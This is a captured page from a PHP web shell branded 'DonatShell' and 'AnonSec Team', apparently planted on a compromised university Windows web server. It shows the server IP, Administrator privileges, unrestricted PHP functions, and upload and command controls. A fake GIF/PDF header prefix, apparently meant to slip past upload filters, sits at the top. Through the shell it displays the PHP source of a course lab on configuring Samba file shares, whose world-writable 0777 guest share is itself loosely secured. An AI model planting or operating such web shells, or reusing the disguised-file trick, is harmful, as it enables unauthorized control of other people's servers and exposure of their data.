GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2608/Labs/Lab06/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2608/Labs/Lab06/Lab06.phpinc
<?
// /JimMartinson/CST2608/Labs/Lab05/Lab05.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
require('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc');

$disabled = '';
$disabled = ' disabled';

?>
<fieldset><legend>Description</legend>
The purpose of this lab is to setup network file sharing with Samba.
<br><span class="note normal">DO NOT PERFORM THIS LAB UNTIL Lab 3.5 has been successfully performed.</span>
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend>Lab Instruction</legend>
	Create a folder for this <?=strtolower($evaluationType)?> named <b><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.
<ol id="main" class="count">
	<!-- 1 -->
	<li>Install and configure Samba server.
		<br>This step is done on your Ubuntu server VM.
		<ol>
			<li>Follow the directions in <a href="https://ubuntu.com/server/docs/samba-file-server">Samba as a file servere</a> to install Samba and setup a common share.
				<br>We want to allow users to write to the common share as well so we also need to:
				<ol>
					<li>Change the <b>create mask</b> to <b>0777</b>.</li>
					<li>Add a <b class="copyText">directory mask = 0777</b>.</li>
					<li>Change permissions of the share directory with the command <span class="kbd copyText">sudo chmod 0777 /srv/samba/share</span>.</li>
					<li>Copy/Paste and uncomment the [homes] example in the smb.conf file. <span class="note">I also removed the #comment lines,</span></li>
					<li>Change the <b>read only</b> setting to no.</li>
				</ol>
				<? showBegin('See example /etc/samba/smb.conf file entries'); ?><br>
				<pre class="code">
[share]
    comment = <?=$Uservername?> Common Share
    path = /srv/samba/share
    browsable = yes
    create mode = 0777
    writable = yes
    guest ok = yes
    director mask = 0777
		
[homes]
    comment = <?=$Uservername?> Home Directories
    browseable = no
    read only = no
    create mask = 0700
    directory mask = 0700
    valid users = %S
</pre><? showEnd(); ?>
			</li>
			<li>Add your <b><?=$Uusername?></b> user as a Samba user (<kbd>sudo smbpasswd -a <?=$Uusername?></kbd>).</li>
			<li>Create a new Ubuntu user named <b><?=$newUser?></b> (<kbd>sudo adduser <?=$newUser?></kbd>) and make it a Samba user also.</li>
		</ol>
	</li>
	<!-- 2 -->
	<li>Test the Samba shares as <b><?=$Uusername?></b>.
		<br>This step is done on your Windows 10 VM.
		<br>If your windows VM does not have a user named <b><?=$Uusername?></b>, create one with the same password you used on your server.
		<span class="note normal">See <a href="network_commands.txt">network_commands.txt</a> to fix Win 10 VM share settings.</span>
		<ol>
			<li>Open Explorer (file browser). Connect to your Ubuntu share using <b>\\<i>ip.add.of.srv</i></b> where <i>ip.add.of.srv</i> is the IP address or name of your server.
				You should see the shares: <b>share</b>, and <b><?=$Uusername?></b>.
				<br>Note: If you do not see the shares then you probably forgot the <kbd>sudo smbpasswd -a <?=$Uusername?></kbd> command or do not have Samba working.
				<br>Note: If you do not see the <b><?=$Uusername?></b> share then you do not have <b>home</b> shares working.
			</li>
			<li><b class="info">Take a screenshot</b> of the window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFileName?>.png</b>. Make sure the <b>share</b> and <b><?=$Uusername?></b> shares are visible in the screenshot.
				<br><? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/Uusername_shares.png" width="755" alt="Example <?=$Uusername?> shares screenshot"/><br>
				<? showEnd (); ?>
			</li>
			<li>Open the <b>share</b> share and create two text documents: <b><?=$Uusername?>.txt</b> and <b><?=$Uusername?>-Readonly.txt</b>.</li>
			<li>Enter the text: <code><?=$Uusername?> readonly file.</code> into the <b><?=$Uusername?>-Readonly.txt</b> file and save it.</li>
			<li>Set the properties of the <b><?=$Uusername?>-Readonly.txt</b> file to Read-only.</li>
			<li><b class="info">Take a screenshot</b> of the <b>share</b> window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFileName?>.png</b>. Make sure the new files are visible in the screenshot.
				<br><? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/Uusername_share_files.png" width="755" alt="Example share folder screenshot"/><br>
				<? showEnd (); ?>
				</li>
			<li>Open the <b><?=$Uusername?></b> share and the <b>Documents</b> folder.
				<br>Create a text document called <b><?=$Uusername?>-home.txt</b>
			</li>
			<li><b class="info">Take a screenshot</b> of the window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>c-<?=$userFileName?>.png</b>. Make sure the	<b><?=$Uusername?>-home.txt</b> file is visible in the screenshot.
				<br><? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/Uusername_home.png" width="755" alt="Example <?=$Uusername?> folder screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<!-- 3 -->
	<li>Test the Samba shares as <b><?=$newUser?></b>.
		<br>This step is done on your Windows 10 VM.
		<br>If your windows VM does not have a user named <b><?=$newUser?></b>, create one with the same password you used on your server.
		<ol>
			<li>Connect to your Ubuntu share using <b>\\<i>ip.add.of.srv</i></b> where <i>ip.add.of.srv</i> is the IP address or name of your server.
				You should see the shares: <b>share</b>, and <b><?=$newUser?></b>.
				<br>Note: If you do not see the shares then you probably forgot the <kbd>sudo smbpasswd -a <?=$newUser?></kbd> command or do not have Samba working.
			</li>
			<li><b class="info">Take a screenshot</b> of the window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>d-<?=$userFileName?>.png</b>. Make sure the <b>share</b> and <b><?=$newUser?></b> shares are visible in the screenshot.
				<br><? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/newUser_shares.png" width="754" alt="Example <?=$newUser?> shares screenshot"/><br>
				<? showEnd (); ?>
			</li>
			<li>Open the <b>share</b> share and create a text document: <b><?=$newUser?>.txt</b>.</li>
			<li><b class="info">Take a screenshot</b> of the <b>share</b> window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>e-<?=$userFileName?>.png</b>. Make sure all files are visible in the screenshot.
				<br><? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/newUser_share_files.png" width="755" alt="Example share folder screenshot"/><br>
				<? showEnd (); ?>
			</li>
			<li>Edit an attempt to save the <b><?=$Uusername?>-Readonly.txt</b> file.
				<ol>
					<li>Open the <b><?=$Uusername?>-Readonly.txt</b> file and add the line <code><?=$newUser?> added this text.</code></li>
					<li>Save the file.
						<br>Instead of just saving the file a <b>Save as</b> dialog box will open.
						<br><note>If the file does save then you forgot to set it as Read-only in step 3.5 and you will have to go back to that step and do so.</note>
						<br>Just hit enter to save it.
						<br>You will get a <b>Confirm Save As</b> dialog box. Select Yes.
						<br>You should now get a <b>Save As information dialog</b> that tells you the file is read-only.
					</li>
					<li><b class="info">Take a screenshot</b> of the <b>Save As information dialog</b> window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>f-<?=$userFileName?>.png</b>.
						<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
						<img src="images/newUser_SaveAs.png" width="352" alt="Example Save As screenshot"/><br>
						<? showEnd (); ?>
					</li>
					<li>Abort the save.</li>
				</ol>
			</li>
			<li>Open the <b><?=$newUser?></b> share and the <b>Documents</b> folder. <note>If the <b>Documents</b> folder does not exist then you have not logged into your Ubuntu server as the <?=$newUser?> user yet. Simply create the <b>Documents</b> folder and  open it.</note>
				<br>Create a text document called <b><?=$newUser?>-home.txt</b>
			</li>
			<li><b class="info">Take a screenshot</b> of the window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>g-<?=$userFileName?>.png</b>. Make sure the	<b><?=$newUser?>-home.txt</b> file is visible in the screenshot.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/newUser_home.png" width="754" alt="Example <?=$newUser?> folder screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<!-- 4 -->
	<li>Show file permissions in share:
		<br>This step is done on your Ubuntu server VM.
		<ol>
			<li>Open a terminal windos.</li>
			<li>Change to the <kbd>/srv/samba/share</kbd> directory.</li>
			<li>Enter the <kbd>ls -l</kbd> command.</li>
			<li><b class="info">Take a screenshot</b> of the <b>share</b> window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>h-<?=$userFileName?>.png</b>.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/samba_share.png" width="814" alt="Example samba share ls screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
<!-- 
	<li class="note">Note: Webmin Samba module has been removed from the lab.</li>
	<li class="note">Note: NFS server has been removed from the lab.</li>
-->
	<!-- 5 -->
	<li>Configure Webmin to manage Samba:
		<br>This step is done on your Ubuntu server VM.
		<ol>
			<li>Connect to Webmin.</li>
			<li>Refresh modules.</li>
			<li>Open <b>Servers/Samba Windows File Sharing</b>.</li>
			<li><b class="info">Take a screenshot</b> of the Webmin window and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>w-<?=$userFileName?>.png</b>.
				<? showBegin('See example screenshot'); ?><br>
				<img src="images/w_Webmin.png" width="1000" alt="Example Webmin screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<!-- 6 -->
	<li>Turn in your assignment:
		<ol type="a">
			<li>Copy <b class="copyText">/etc/samba/smb.conf</b> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder:
				<ol type="a">
					<li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>c-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>d-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>e-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>f-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>g-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>h-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>w-<?=$userFileName?>.png.</li>
					<li>smb.conf <span class="note">(copied from /etc/samba/smb.conf)</span>.</li>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<!--
<fieldset><legend>Notes</legend>
If Windows prepends the name of the computer to the samba login then the user may not be enabled for samba. Open a terminal on your server and type:<br>
<kbd>sudo /usr/bin/smbpasswd -e <i>your_username</i></kbd><br>
Where <i>your_username</i> is the user name you setup in smb.conf. You will be prompted for a password. Enter and confirm the password you use to login to the server as <i>your_username</i>.<br>
It may also be something like a corrupt password. Open a terminal on your server and type:<br>
<kbd>sudo /usr/bin/smbpasswd -a <i>your_username</i></kbd><br>
Where <i>your_username</i> is the user name you setup in smb.conf. You will be prompted for a password. Enter and confirm the password you use to login to the server as <i>your_username</i>.<br>
</fieldset>
-->
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team